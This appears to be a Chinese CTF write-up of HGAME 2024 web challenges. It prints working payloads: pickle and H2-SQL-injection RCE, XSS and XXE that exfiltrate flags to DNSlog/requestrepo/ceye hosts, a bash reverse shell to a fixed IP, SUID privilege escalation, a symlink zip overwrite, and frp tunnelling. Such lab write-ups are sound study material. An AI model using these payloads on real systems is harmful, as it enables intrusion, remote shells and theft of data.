HGAME WEB WP-Parar

HGAME WEEK 1

1.ezHTTP

题目描述:HTTP Protocol Basics

  1. 请从vidar.club访问这个页面

    请求头:

     Referer:vider.club
  2. 请通过Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0访问此页面

    useragent:

     User-Agent:Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
  3. 本地访问

     X-Real-IP:127.0.0.1

    image-20240206182650931

最后flag在响应头中,yakit抓包解码获得

image-20240206183443650

2.Secletc Course

题目描述:Can you help ma5hr00m select the desired courses?

最开始一直在想着怎么伪造课的状态,结果后面莫名其妙选上一次,猜测是每隔一段时间会有人退课,yakit重复发包就行

image-20240206185419724

每一门科目操作方式相同,这边不断发包的同时,在浏览器不断刷新就能看到进度,最终五门课去全部选上就出flag(时间感觉靠运气,做题的时候第五个跑了半个小时)

image-20240206191008196

3.Bypassit

题目描述:This page requires javascript to be enabled 🙂

进入提示登录

image-20240206191111321

image-20240206191202553

无法直接登录,前往注册路由

image-20240206191227117

弹窗提示无法注册,弹窗一般都由前端js代码实现,禁用js

谷歌浏览器,设置,隐私安全中进行禁用

image-20240206191410943

禁用后实现注册

image-20240206191454284

注册完成,重新启用js,登录

image-20240206191556246

登录完成,点击click here即出flag

4.2048*16

题目描述:2048还是太简单了,柏喵喵决定挑战一下2048*16

题目页面就是2048游戏(不过是2048*16)

最初思路直接找了一个2048游戏的ai,在本地跑了10w分,但是卡在将ai接入浏览器,成功接入火狐浏览器,但没法修改网页js,ai无法识别混淆后的代码(ai主要识别原版中的GameManager函数),Chrome成功修改js,但没法接入Ai

image-20240206192233354

鼠标右键被禁用,ctrl+shift+i打开开发者界面,且存在反调试,一旦打开开发者界面,游戏暂停

image-20240206192426297

审计代码发现代码被混淆,在游戏界面下方发现这个即原版2048.

image-20240206192505609

点击链接进入原版,发现原版代码并没有被混淆

image-20240206192829315

参考原版代码,

image-20240206193200022

发现这里存在一个游戏输赢的判定,尝试把t前后都都改为 s0(n(439), "V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq6JkWK4t3")(根据审计,s0是一个解密函数,赢了才会调用)

然后把全部代码拖到控制台

修改成功后,无论输赢都会对其进行调用,输出flag

image-20240206193637666

5.jhat

题目描述:jhat is a tool used for analyzing Java heap dump files

提示1hint1: need rce

提示2hint2: focus on oql

提示3hint3: 题目不出网 想办法拿到执行结果

学习文章:

 https://wooyun.js.org/drops/OQL(%E5%AF%B9%E8%B1%A1%E6%9F%A5%E8%AF%A2%E8%AF%AD%E8%A8%80)%E5%9C%A8%E4%BA%A7%E5%93%81%E5%AE%9E%E7%8E%B0%E4%B8%AD%E9%80%A0%E6%88%90%E7%9A%84RCE(Object%20Injection).html

直接抄poc

 java.lang.Runtime.getRuntime().exec('ls')

image-20240206202445038

显示porcess代表执行了,结合题目不出网(限制TCP协议),进行dnslog外带(UDP协议)

hgame Week2 WP

What the cow say

image-20240225133913346

反引号命令执行

image-20240225133950982

找到flag_is_here

waf过滤了cat flag

用tac读取

 `tac /f*`

image-20240225134410108

提示是一个目录

查看该目录下的内容

image-20240225134537773

找到flag文件

继续tac读

 `tac /f*/f*`

image-20240225134622053

得到flag

Select More Courses

image-20240225135145468

提示密码安全等级太低,猜测为弱密码

上字典爆破

Image_1708840585269

找到密码为qwert123

登录进去后点击扩分提示Race against time

image-20240225135726191

直接用yakit重复发包

image-20240225135949969

同时同样的操作重复发选课

image-20240225140101156

image-20240225140123878

得到flag

(不知道主页提示的失物查找功能有啥用)

Myflask

打开容器得到源码

 import pickle
 import base64
 from flask import Flask, session, request, send_file
 from datetime import datetime
 from pytz import timezone
 
 currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
 currentTime = currentDateAndTime.strftime("%H%M%S")
 
 app = Flask(__name__)
 # Tips: Try to crack this first ↓
 app.config['SECRET_KEY'] = currentTime
 print(currentTime)
 
 @app.route('/')
 def index():
     session['username'] = 'guest'
     return send_file('app.py')
 
 @app.route('/flag', methods=['GET', 'POST'])
 def flag():
     if not session:
         return 'There is no session available in your client :('
     if request.method == 'GET':
         return 'You are {} now'.format(session['username'])
     
     # For POST requests from admin
     if session['username'] == 'admin':
         pickle_data=base64.b64decode(request.form.get('pickle_data'))
         # Tips: Here try to trigger RCE
         userdata=pickle.loads(pickle_data)
         return userdata
     else:
         return 'Access Denied'
  
 if __name__=='__main__':
     app.run(debug=True, host="0.0.0.0")

可知存在/flag路由,但是需要JWT伪造为admin用户

JWT伪造需要秘钥,在源码中发现secret_key为curretTime,即容器开启时第一次运行该脚本的时间戳

截取一下源代码得到时间戳

import pickle
import base64
from datetime import datetime
from pytz import timezone

currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")

print(currentTime)

然后在开启容器的同时跑一下脚本(左图),得到时间戳的大致范围,然后session解密,得到时间戳(右图)

Image_1708841167672

得到时间戳之后用密码伪造{'username':'admin'}

伪造之后进去/flag路由

if session['username'] == 'admin':
        pickle_data=base64.b64decode(request.form.get('pickle_data'))

下一步pickle反序列化,且数据需要经过base64编码

pickle反序列化脚本

import pickle
import base64

class genpoc(object):
    def __reduce__(self):
        cmd = 'cat /flag'  
        s = "__import__('os').popen('{}').read()".format(cmd)
        return (eval, (s,))  
poc = pickle.dumps(genpoc())
print(base64.b64encode(poc))

cmd中填需要执行的命令

传入即可得到flag

search4member

首先查一下数据库

a' union select 1,database(),3 --+

image-20240225143141855

H2数据库RCE(CVE-2021-42392)

reference:

https://www.cnblogs.com/0x28/p/14546972.htm

创建命令执行函数

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;

创建完后通过堆叠注入,调用SHELLEXEC从而RCE

curl `cat /flag`.oqtfzruqzd.dgrh3.cn
编码后:
Y3VybCBgY2F0IC9mbGFnYC5vcXRmenJ1cXpkLmRncmgzLmNu
命令执行为:
'bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC5vcXRmenJ1cXpkLmRncmgzLmNu}|{base64,-d}|{bash,-i}'
 
payload:
1';CALL SHELLEXEC('bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC5vcXRmenJ1cXpkLmRncmgzLmNu}|{base64,-d}|{bash,-i}');--+

梅开二度

题目源码

package main

import (
	"context"
	"log"
	"net/url"
	"os"
	"regexp"
	"sync"
	"text/template"
	"time"

	"github.com/chromedp/chromedp"
	"github.com/gin-gonic/gin"
	"golang.org/x/net/html"
)

var re = regexp.MustCompile(`script|file|on`)

var lock sync.Mutex

func main() {
	allocCtx, cancel := chromedp.NewExecAllocator(context.Background(), append(chromedp.DefaultExecAllocatorOptions[:],
		chromedp.NoSandbox, chromedp.DisableGPU)...)
	defer cancel()

	r := gin.Default()
	r.GET("/", func(c *gin.Context) {
		tmplStr := c.Query("tmpl")
		if tmplStr == "" {
			tmplStr = defaultTmpl
		} else {
			if re.MatchString(tmplStr) {
				c.String(403, "tmpl contains invalid word")
				return
			}
			if len(tmplStr) > 50 {
				c.String(403, "tmpl is too long")
				return
			}
			tmplStr = html.EscapeString(tmplStr)
		}
		tmpl, err := template.New("resp").Parse(tmplStr)
		if err != nil {
			c.String(500, "parse template error: %v", err)
			return
		}
		if err := tmpl.Execute(c.Writer, c); err != nil {
			c.String(500, "execute template error: %v", err)
		}
	})

	r.GET("/bot", func(c *gin.Context) {
		rawURL := c.Query("url")
		u, err := url.Parse(rawURL)
		if err != nil {
			c.String(403, "url is invalid")
			return
		}
		if u.Host != "127.0.0.1:8080" {  
			c.String(403, "host is invalid")
			return
		}
		go func() {
			lock.Lock()     
			defer lock.Unlock()

			ctx, cancel := chromedp.NewContext(allocCtx,
				chromedp.WithBrowserOption(chromedp.WithDialTimeout(10*time.Second)),
			)  
			defer cancel()
			ctx, _ = context.WithTimeout(ctx, 20*time.Second)
			if err := chromedp.Run(ctx,
				chromedp.Navigate(u.String()),
				chromedp.Sleep(time.Second*10),
			); err != nil {
				log.Println(err)
			}
		}()
		c.String(200, "bot will visit it.")
	})

	r.GET("/flag", func(c *gin.Context) {
		if c.RemoteIP() != "127.0.0.1" {
			c.String(403, "you are not localhost")
			return
		}
		flag, err := os.ReadFile("/flag")
		if err != nil {
			c.String(500, "read flag error")
			return
		}
		c.SetCookie("flag", string(flag), 3600, "/", "", false, true)
		c.Status(200)
	})
	r.Run(":8080")
}

const defaultTmpl = `
<!DOCTYPE html>
<html>
<head>
	<title>YOU ARE</title>
</head>
<body>
	<div>欢迎来自 {{.RemoteIP}} 的朋友</div>
	<div>你的 User-Agent 是 {{.GetHeader "User-Agent"}}</div>
	<div>flag在bot手上,想办法偷过来</div>
</body>
`

审计源码得知,词义引用了text/html模版包

在Go的SSTI中,一般漏洞源于text/template 和 html/templat 两个模版包,二者主要区别就在于对于特殊字符的转义与转义函数的不同,但其原理基本一致,均是动静态内容结合,其中text/template对 XSS 或任何类型的 HTML 编码都没有保护,能够导致XSS,此题便是

/路由下调用了tmpl.Execute函数,因此在/路由下进行go的ssti

在审计源码得到在,在/flag路由下会对IP进行检测,将Cookie设为最终的flag

因此大致思路就是使得靶机benifit访问/flag路由,得到为flag的Cookie后,在讲Cookie进行带出

此处在SSTI中进行XSS,payload:

<script>
{{.Query `xss`}}&xss=<script>
//访问`/flag`路由,使得Cookie被设置为flag,
window.open("http://127.0.0.1:8080/flag");
//通过{{.Cookie`flag`}},获取Cookie中的flag,并将数据进行发送进行DNSlog外带
fetch("http://127.0.0.1:8080/?tmpl={{.Cookie`flag`}}").then(response=>response.text()).then(data=>fetch("http://"+data.substring(6,46)+"di9tmm0q.requestrepo.com"));
//外带flag
</script>

Hgame Week3

web VPN

题目描述:

WebVPN是新一代纯网页形式的VPN,用户无需安装任何插件或客户端,就能访问原本内网才能访问的信息系统。 用户名:username 密码:password

考点:js原型链污染

登录后页面为

image-20240229211652571

baidu.com,可正常点击,但因为题目不出网,无法正常跳转

google.com,无法正常点击

审计源码,发现导致这两个差别的源码如下

app.use(bodyParser.json());
var userStorage = {
  username: {
    password: "password",
    info: {
      age: 18,
    },
    strategy: {
      "baidu.com": true,
      "google.com": false,
    },
  },
};

源码中,发现漏洞函数update存在原型链污染

 function update(dst, src) {
   for (key in src) {
     if (key.indexOf("__") != -1) {
       continue;
     }
     if (typeof src[key] == "object" && dst[key] !== undefined) {
       update(dst[key], src[key]);
       continue;
     }
     dst[key] = src[key];
   }
 }

/user/info页面下被调用

 app.post("/user/info", (req, res) => {
   if (!req.session.username) {
     res.sendStatus(403);
   }
   update(userStorage[req.session.username].info, req.body);
   res.sendStatus(200);
 });

/flag路由代码如下

 app.get("/flag", (req, res) => {
   if (
     req.headers.host != "127.0.0.1:3000" ||
     req.hostname != "127.0.0.1" ||
     req.ip != "127.0.0.1" 
   ) {
     res.sendStatus(400);
     return;
   }
   const data = fs.readFileSync("/flag");
   res.send(data);
 });

要求ip必须为127.0.0.1

因此得到大致思路:

  1. /user/info页面下进行原型链污染,将127.0.0.1 污染进userStorage

  2. 在主页面利用跳转功能,进行访问127.0.0.1:3000/falg,即可得到flag

进行污染

{"constructor":{"prototype":{"127.0.0.1":true}}}

image-20240229220900867

利用/proxy?url=http://127.0.0.1:3000/flag访问得到flag

VidarBox

题目源码

 package org.vidar.controller;
 
 
 import org.springframework.core.io.DefaultResourceLoader;
 import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RequestParam;
 import org.springframework.web.bind.annotation.ResponseBody;
 import org.xml.sax.InputSource;
 import org.xml.sax.SAXException;
 import org.xml.sax.XMLReader;
 import org.xml.sax.helpers.XMLReaderFactory;
 
 import java.io.*;
 
 @Controller
 public class BackdoorController {
 
     private String workdir = "file:///non_exist/";
     private String suffix = ".xml";
 
     @RequestMapping("/")
     public String index() {
         return "index.html";
     }
 
     @GetMapping({"/backdoor"})          // backdoor路由,获取请求字符串 fname ,与wordir、suffix进行拼接,对本地文件进行读取,然后suffix拼接后,将文件作为xml格式进行解析
     @ResponseBody
     public String hack(@RequestParam String fname) throws IOException, SAXException {
         DefaultResourceLoader resourceLoader = new DefaultResourceLoader();
         byte[] content = resourceLoader.getResource(this.workdir + fname + this.suffix).getContentAsByteArray();
 
         if (content != null && this.safeCheck(content)) {                    //检测是否读取成功,并采用safeCheck函数对文件内容进行检测
             XMLReader reader = XMLReaderFactory.*createXMLReader*();
             reader.parse(new InputSource(new ByteArrayInputStream(content)));
             return "success";                                           //若读取成功,也只能返回success,而无法返回结果
         } else {
             return "error";                                                //读取失败则直接返回error
         }
     }
 
     private boolean safeCheck(byte[] stream) throws IOException {                  //safeCheck函数定义,要求文件内容不得包含以下四个字符(采用UTF-16be进行绕过)
         String content = new String(stream);
         return !content.contains("DOCTYPE") && !content.contains("ENTITY") &&
                 !content.contains("doctype") && !content.contains("entity");
     }
 
 }

参考晨曦大佬博客:https://chenxi9981.github.io/hgame2024_week3/

类似于PHP中的临时文件上传(自我感觉),在springboot中 无论代码是否存在着处理文件的代码逻辑,都会接受然后生成一个临时文件,再该请求结束之后再进行删除,因此可以通过这个临时文件在靶机短暂的存在时刻,对该文件进行访问利用

在生成临时文件的同时,系统也创建一个进程(/proc/self/{id}),因此在利用这个临时文件,可以直接对id进行爆破,从而达到临时文件的利用

首先编写一个XXE的paylaodd,进行读取根目录下的flag,并远程读取自己vps上的dtd文件,利用外部实体进行DNSlog外带

<?xml version="1.0" encoding="UTF-16BE"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % remote SYSTEM "http://175.178.29.101/test.dtd">
%remote;
%all;
]>
<root>&send;</root>

再采用UTF-16be编码绕过cat payload.xml | iconv -f utf-8 -t utf-16be > a11.xml

image-20240306224444076

编码成功后利用此文件进行文件进行文件上传,上传脚本:

import requests
import io
import threading
url='http://139.196.183.57:32517/' #引入url
def write():
    
    while True:
        response=requests.post(url,files={'file':('poc',open('new.xml','rb'))})
        #print(response.text)
if __name__=='__main__':
        evnet=threading.Event()
        with requests.session() as session:
            for i in range(10):
                threading.Thread(target=write).start()
        evnet.set()

爆破临时文件脚本

 import requests
 import io
 import time
 import threading
 while True:
     for i in range(10, 35):
         try:
             #print(i)
             url = f'http://139.196.183.57:32517/backdoor?fname=..%5cproc/self/fd/{i}%23'  # 引入url
             # print(r.cookies)
             response = requests.get(url,timeout=0.5)
             
             print(i,response.text)
             if response.text == 'success' or response.text == 'error':
                 print(i,response.text)
                 time.sleep(10)
         except:
             pass
             #print("no")

在vps网站跟目录下放下dtd文件

 <!ENTITY % all "<!ENTITY send SYSTEM 'http://kbqsag.ceye.io?file=%file;'>">

然后dnslog外带出flag

Zero Link

routes.go文件源码,定义路由,即路由相关请求方式,所调用函数

 package routes
 
 import (
     "fmt"
     "html/template"
     "net/http"
     "os"
     "os/signal"
     "path/filepath"
     "zero-link/internal/config"
     "zero-link/internal/controller/auth"
     "zero-link/internal/controller/file"
     "zero-link/internal/controller/ping"
     "zero-link/internal/controller/user"
     "zero-link/internal/middleware"
     "zero-link/internal/views"
 
     "github.com/gin-contrib/sessions"
     "github.com/gin-contrib/sessions/cookie"
     "github.com/gin-gonic/gin"
 )
 
 func Run() {
     r := gin.Default()
 
     html := template.Must(template.New("").ParseFS(views.FS, "*"))
     r.SetHTMLTemplate(html)
 
     secret := config.Secret.SessionSecret
     store := cookie.NewStore([]byte(secret))
     r.Use(sessions.Sessions("session", store))
 
     api := r.Group("/api")
     {
         api.GET("/ping", ping.Ping)
         api.POST("/user", user.GetUserInfo)
         api.POST("/login", auth.AdminLogin)
 
         apiAuth := api.Group("")
         apiAuth.Use(middleware.Auth())
         {
             apiAuth.POST("/upload", file.UploadFile)
             apiAuth.GET("/unzip", file.UnzipPackage)
             apiAuth.GET("/secret", file.ReadSecretFile)
         }
     }
 
     frontend := r.Group("/")
     {
         frontend.GET("/", func(c *gin.Context) {
             c.HTML(http.StatusOK, "index.html", nil)
         })
         frontend.GET("/login", func(c *gin.Context) {
             c.HTML(http.StatusOK, "login.html", nil)
         })
 
         frontendAuth := frontend.Group("")
         frontendAuth.Use(middleware.Auth())
         {
             frontendAuth.GET("/manager", func(c *gin.Context) {
                 c.HTML(http.StatusOK, "manager.html", nil)
             })
         }
     }
 
     quit := make(chan os.Signal)
     signal.Notify(quit, os.Interrupt)
 
     go func() {
         <-quit
         err := os.Remove(filepath.Join(".", "sqlite.db"))
         if err != nil {
             fmt.Println("Failed to delete sqlite.db:", err)
         } else {
             fmt.Println("sqlite.db deleted")
         }
         os.Exit(0)
     }()
 
     r.Run(":8000")
 }
 

注意到在/api下存在一个user,且其中调用了一个名叫user.GetUserInfo的函数(即主页搜索框所实现的功能)

image-20240305130536332

且页面右侧存在Manager管理登录页面,猜测需要通过此处得到管理员账户密码,进行登录

定位到源码中/src/controler/user/user.go文件,审计代码

 package user
 
 import (
     "net/http"
     "zero-link/internal/database"
 
     "github.com/gin-gonic/gin"
 )
 
 type UserInfoResponse struct {
     Code    int            `json:"code"`
     Message string         `json:"message"`
     Data    *database.User `json:"data"`
 }
 
 func GetUserInfo(c *gin.Context) {                        //定义请求数据为{"username":"xxx","token":"xxx"}
     var req struct {
         Username string `json:"username"`
         Token    string `json:"token"`
     }
 
     if err := c.ShouldBindJSON(&req); err != nil {
         c.JSON(http.StatusBadRequest, UserInfoResponse{                      
             Code:    http.StatusBadRequest,
             Message: "Invalid request body",
             Data:    nil,
         })
         return
     }
 
     if req.Username == "Admin" || req.Token == "0000" {    //限制username不得为admin或者token为0000,进制禁访问
         c.JSON(http.StatusForbidden, UserInfoResponse{
             Code:    http.StatusForbidden,
             Message: "Forbidden",
             Data:    nil,
         })
         return
     }
 
     user, err := database.GetUserByUsernameOrToken(req.Username, req.Token)
     if err != nil {
         c.JSON(http.StatusInternalServerError, UserInfoResponse{
             Code:    http.StatusInternalServerError,
             Message: "Failed to get user",
             Data:    nil,
         })
         return
     }
 
     if user == nil {
         c.JSON(http.StatusNotFound, UserInfoResponse{
             Code:    http.StatusNotFound,
             Message: "User not found",
             Data:    nil,
         })
         return
     }
 
     response := UserInfoResponse{
         Code:    http.StatusOK,
         Message: "Ok",
         Data:    user,
     }
 
     c.JSON(http.StatusOK, response)
 }
 

调用函数database.GetUserByUsernameOrToken

定位至/src/database/salite.go文件

 package database
 
 import (
     "log"
     "zero-link/internal/config"
 
     "gorm.io/driver/sqlite"
     "gorm.io/gorm"
 )
 
 var db *gorm.DB
 
 type User struct {
     gorm.Model
     Username string `gorm:"not null;column:username;unique"`
     Password string `gorm:"not null;column:password"`
     Token    string `gorm:"not null;column:token"`
     Memory   string `gorm:"not null;column:memory"`
 }
 
 func init() {
     databaseLocation := config.Sqlite.Location
 
     var err error
     db, err = gorm.Open(sqlite.Open(databaseLocation), &gorm.Config{})
     if err != nil {
         panic("Cannot connect to SQLite: " + err.Error())
     }
 
     err = db.AutoMigrate(&User{})
     if err != nil {
         panic("Failed to migrate database: " + err.Error())
     }
 
     users := []User{
         {Username: "Admin", Token: "0000", Password: "Admin password is here", Memory: "Keep Best Memory!!!"},
         {Username: "Taka", Token: "4132", Password: "newfi443543", Memory: "Love for pixel art."},
         {Username: "Tom", Token: "8235", Password: "ofeni3525", Memory: "Family is my treasure"},
         {Username: "Alice", Token: "1234", Password: "abcde12345", Memory: "Graduating from college"},
         {Username: "Bob", Token: "5678", Password: "fghij67890", Memory: "Winning a championship in sports"},
         {Username: "Charlie", Token: "9012", Password: "klmno12345", Memory: "Traveling to a foreign country for the first time"},
         {Username: "David", Token: "3456", Password: "pqrst67890", Memory: "Performing on stage in a theater production"},
         {Username: "Emily", Token: "7890", Password: "uvwxy12345", Memory: "Meeting my favorite celebrity"},
         {Username: "Frank", Token: "2345", Password: "zabcd67890", Memory: "Overcoming a personal challenge"},
         {Username: "Grace", Token: "6789", Password: "efghi12345", Memory: "Completing a marathon"},
         {Username: "Henry", Token: "0123", Password: "jklmn67890", Memory: "Becoming a parent"},
         {Username: "Ivy", Token: "4567", Password: "opqrs12345", Memory: "Graduating from high school"},
         {Username: "Jack", Token: "8901", Password: "tuvwx67890", Memory: "Starting my own business"},
         {Username: "Kelly", Token: "2345", Password: "yzabc12345", Memory: "Learning to play a musical instrument"},
         {Username: "Liam", Token: "6789", Password: "defgh67890", Memory: "Winning a scholarship for higher education"},
     }
     for _, user := range users {
         result := db.Create(&user)
         if result.Error != nil {
             panic("Failed to create user: " + result.Error.Error())
         }
     }
 }
 
 func GetPasswordByUsername(username string) (string, error) {
     var user User
     err := db.Where("username = ?", username).First(&user).Error
     if err != nil {
         log.Println("Cannot get password: " + err.Error())
         return "", err
     }
     return user.Password, nil
 }
 
 func GetUserByUsernameOrToken(username string, token string) (*User, error) {
     var user User
     query := db
     if username != "" {
         query = query.Where(&User{Username: username})
     } else {
         query = query.Where(&User{Token: token})
     }
     err := query.First(&user).Error
     if err != nil {
         log.Println("Cannot get user: " + err.Error())
         return nil, err
     }
     return &user, nil
 }
 

Go语言本身存在零值设计,当定义一个变量但是不进行赋值时,变量值自动为0,因此这里传空值时,username token仍然为0,

因此POST body为{"username":"","token":""},

构造出SELECT * FROM userLIMIT 1

使得查询出表中的第一个用户,这里即admin用户

image-20240305194324930

成功得到admin用户密码,登录后界面如下

image-20240305194446327

此时路由到了/manager

主要功能代码如下

 apiAuth.Use(middleware.Auth())
         {
             apiAuth.POST("/upload", file.UploadFile)
             apiAuth.GET("/unzip", file.UnzipPackage)
             apiAuth.GET("/secret", file.ReadSecretFile)
         }

存在文件上传和解压功能以及secret文件

定位调用函数/src/file/file.go,源代码如下

 package file
 
 import (
     "net/http"
     "os"
     "os/exec"
     "path/filepath"
     "zero-link/internal/util"
 
     "github.com/gin-gonic/gin"
 )
 
 type FileResponse struct {
     Code    int    `json:"code"`
     Message string `json:"message"`
     Data    string `json:"data"`
 }
 
 func UploadFile(c *gin.Context) {
     file, err := c.FormFile("file")
     if err != nil {
         c.JSON(http.StatusBadRequest, FileResponse{
             Code:    http.StatusBadRequest,
             Message: "No file uploaded",
             Data:    "",
         })
         return
     }
 
     ext := filepath.Ext(file.Filename)
     if (ext != ".zip") || (file.Header.Get("Content-Type") != "application/zip") {
         c.JSON(http.StatusBadRequest, FileResponse{
             Code:    http.StatusBadRequest,
             Message: "Only .zip files are allowed",
             Data:    "",
         })
         return
     }
 
     filename := "/app/uploads/" + file.Filename
 
     if _, err := os.Stat(filename); err == nil {
         err := os.Remove(filename)
         if err != nil {
             c.JSON(http.StatusInternalServerError, FileResponse{
                 Code:    http.StatusInternalServerError,
                 Message: "Failed to remove existing file",
                 Data:    "",
             })
             return
         }
     }
 
     err = c.SaveUploadedFile(file, filename)
     if err != nil {
         c.JSON(http.StatusInternalServerError, FileResponse{
             Code:    http.StatusInternalServerError,
             Message: "Failed to save file",
             Data:    "",
         })
         return
     }
 
     c.JSON(http.StatusOK, FileResponse{
         Code:    http.StatusOK,
         Message: "File uploaded successfully",
         Data:    filename,
     })
 }
 
 func UnzipPackage(c *gin.Context) {
     files, err := filepath.Glob("/app/uploads/*.zip")
     if err != nil {
         c.JSON(http.StatusInternalServerError, FileResponse{
             Code:    http.StatusInternalServerError,
             Message: "Failed to get list of .zip files",
             Data:    "",
         })
         return
     }
 
     for _, file := range files {
         cmd := exec.Command("unzip", "-o", file, "-d", "/tmp/")
         if err := cmd.Run(); err != nil {
             c.JSON(http.StatusInternalServerError, FileResponse{
                 Code:    http.StatusInternalServerError,
                 Message: "Failed to unzip file: " + file,
                 Data:    "",
             })
             return
         }
     }
 
     c.JSON(http.StatusOK, FileResponse{
         Code:    http.StatusOK,
         Message: "Unzip completed",
         Data:    "",
     })
 }
 
 func ReadSecretFile(c *gin.Context) {
     secretFilepath := "/app/secret"
     content, err := util.ReadFileToString(secretFilepath)
     if err != nil {
         c.JSON(http.StatusInternalServerError, FileResponse{
             Code:    http.StatusInternalServerError,
             Message: "Failed to read secret file",
             Data:    "",
         })
         return
     }
 
     secretContent, err := util.ReadFileToString(content)
     if err != nil {
         c.JSON(http.StatusInternalServerError, FileResponse{
             Code:    http.StatusInternalServerError,
             Message: "Failed to read secret file content",
             Data:    "",
         })
         return
     }
 
     c.JSON(http.StatusOK, FileResponse{
         Code:    http.StatusOK,
         Message: "Secret content read successfully",
         Data:    secretContent,
     })
 }
 

其中UnzipPackage函数,将/uploads目录下的zi0文件进行解压,至/tmp目录下。因此无法上传webshell进行访问

且存在secret文件

但是直接对secret文件进行访问为fake_flag,审计源码得知,在根目录下同时存在fake_flag flag,因此真falg也在根目录下

因此需要将原有的secret进行覆盖,创建软连接,替换

具体操作:

 ln -s /app web
 zip --symlink web.zip web

创建一个指向/app路由的软连接,并进行压缩

 //根目录下操作
 mkdir /web
 cd ..
 echo "/flag" > /web/secret
 zip -y /web/secret flag.zip
 zip -y flag.zip /web/secret

上述操作完后得到两个压缩包,先上传web.zip,访问/api/unzip,对文件进行解压,重定向至/app目录,然后上传flag.zip再次访问/zpi/unzip解压文件,使含有真正flag的文件对原本的secret文件进行覆盖

最后访问/api/secret文件读到真正的flag

image-20240305204816038

 {{index .Request.URL.Query.parar 0}}&&parar=<script>alert(111)</script>
 

 {{index .Request.URL.Query.a 0}}&a=<Script>eval("location.href = 'http://127.0.0.1:8080/flag';
 xmlhttp = new XMLHttpRequest();
 xmlhttp.withCredentials = true;
 xmlhttp.onreadystatechange = function() {
     if (xmlhttp.readyState == 4) {
        sendSecondRequest()
     }
 };
 function sendSecondRequest() {
   xmlhttp.open("GET", "/?tmpl={{print .Request.Header.Cookie}}", false);
   xmlhttp.onreadystatechange = function () {
     if (xmlhttp.readyState == 4) {
       var flag1=btoa(xmlhttp.responseText);
       var flag1Hex = "";
       for (var i = 0; i < flag1.length; i++) {
         flag1Hex += flag1.charCodeAt(i).toString(16);
       }
       location.href = 'http://'+ flag1Hex.substring(148,200) +'.mzp9rx.dnslog.cn' 
     }
   };
   xmlhttp.send('');
 }
 xmlhttp.open('GET', '/flag', false);
 xmlhttp.send('');")%3b</Script>

HGAME Week4

Whose Home

题目描述:

“这是谁的家?”

“好像是个路由佬。”

这是一个以个人/家庭为背景的入门级渗透靶场,里面没有坑也没有什么难题,希望大家玩的开心。

一共有2个flag。

题目首页为一个登录界面,

image-20240307113757128

对标题直接进行搜索qBittorrent Web UI

在维基百科找到相关信息

image-20240307114508914

在特性中可以得到一些有用信息

此外在搜索时,搜索引擎直接弹出默认密码

image-20240307114717363

image-20240307114750829

使用admin/adminadmin账户密码成功登录,进入管理界面

image-20240307115221440

在标题栏中得到版本信息为4.5.5

直接搜索qBittorrent 漏洞等关键词,只查到在较低的版本中存在

(后自己在设置中该为了中文)

发现在选项/下载下存在一个运行外部脚本的功能(搜索得知支持bash和python)

image-20240307124118408

且该页面存在文件上传功能

image-20240307124200174

后续尝试思路为上传恶意脚本,并利用执行外部脚本的功能进行执行

操作方法为:在本地编写反弹shell脚本:

 bash -c "bash -i >& /dev/tcp/175.178.29.101/6666 0>&1"

然后将后缀改为torrent文件,在上传界面中可以选择文件路径。并且可以重命名,因此将文件重名为:shell.sh

image-20240307132452916

image-20240307132304073

之后随便上传一个torrent文件,触发脚本运行(但运行失败)

torrent下载链接:

 magnet:?xt=urn:btih:3a398cd6688e999f048bcbe868c5a81ee0fa1c93&dn=A-League.Mens.2024.01.13.Adelaide.United.Vs.Sydney.FC.XviD-AFG%5BEZTVx.to%5D.avi%5Beztvx.to%5D&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337%2Fannounce&tr=udp%3A%2F%2Fp4p.arenabg.com%3A1337%2Fannounce&tr=udp%3A%2F%2Ftracker.torrent.eu.org%3A451%2Fannounce&tr=udp%3A%2F%2Fopen.stealth.si%3A80%2Fannounce

后考虑到qBittorrent 采用C++语言进行编写,尝试了截断,但还是失败

后看wp发现运行脚本初可以直接写命令得到执行,直接反弹shell

image-20240307133321295

image-20240307133345358

反弹shell成功但还只是普通用户abc,(但复现时使用的docker容器可以直接进行cat flag

根据wp进行suid提权

SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。

查找具有root权限的suid文件,以下命令都可以

 find / -user root -perm -4000 -exec ls -ldb {} \;
 find / -perm -u=s -type f 2>/dev/null
 find / -user root -perm -4000 -print 2>/dev/null

找到有iconv指令具有root权限可以进行读取文件

image-20240307141935205

读取flag

 iconv /flag

image-20240307142457923

拿到第一个flag

/config目录下找到

后续进行内网渗透

使用nc进行内网端口扫描:

 nc -z 100.64.43.4 1-65535 | grep suc

 wget https://github.com/fatedier/frp/releases/download/v0.36.2/frp_0.36.2_linux_arm64.tar.gz
 tar -xvf frp*
 cd frp*

靶机没有vim,直接echo写配置信息(有vi 但是写了没法退出)

 echo'serverAddr = "175.178.29.101"
 serverPort = 7000
 
 [[proxies]]
 name = "ssh"
 type = "tcp"
 localIP = "100.64.43.4"
 localPort = 22
 remotePort = 9999
 [[proxies]]
 name = "rpc"
 type = "tcp"
 localIP="100.64.43.4"
 localPort = 6800
 remotePort=6800" '> frpc.toml
 

在vps(server端)上修改frps.toml

 ./frps -c frps.toml

image-20240308150530386

靶机启动frp

 ./frpc -c frpc.toml

穿透成功后,利用Aria2任意文件读写漏洞

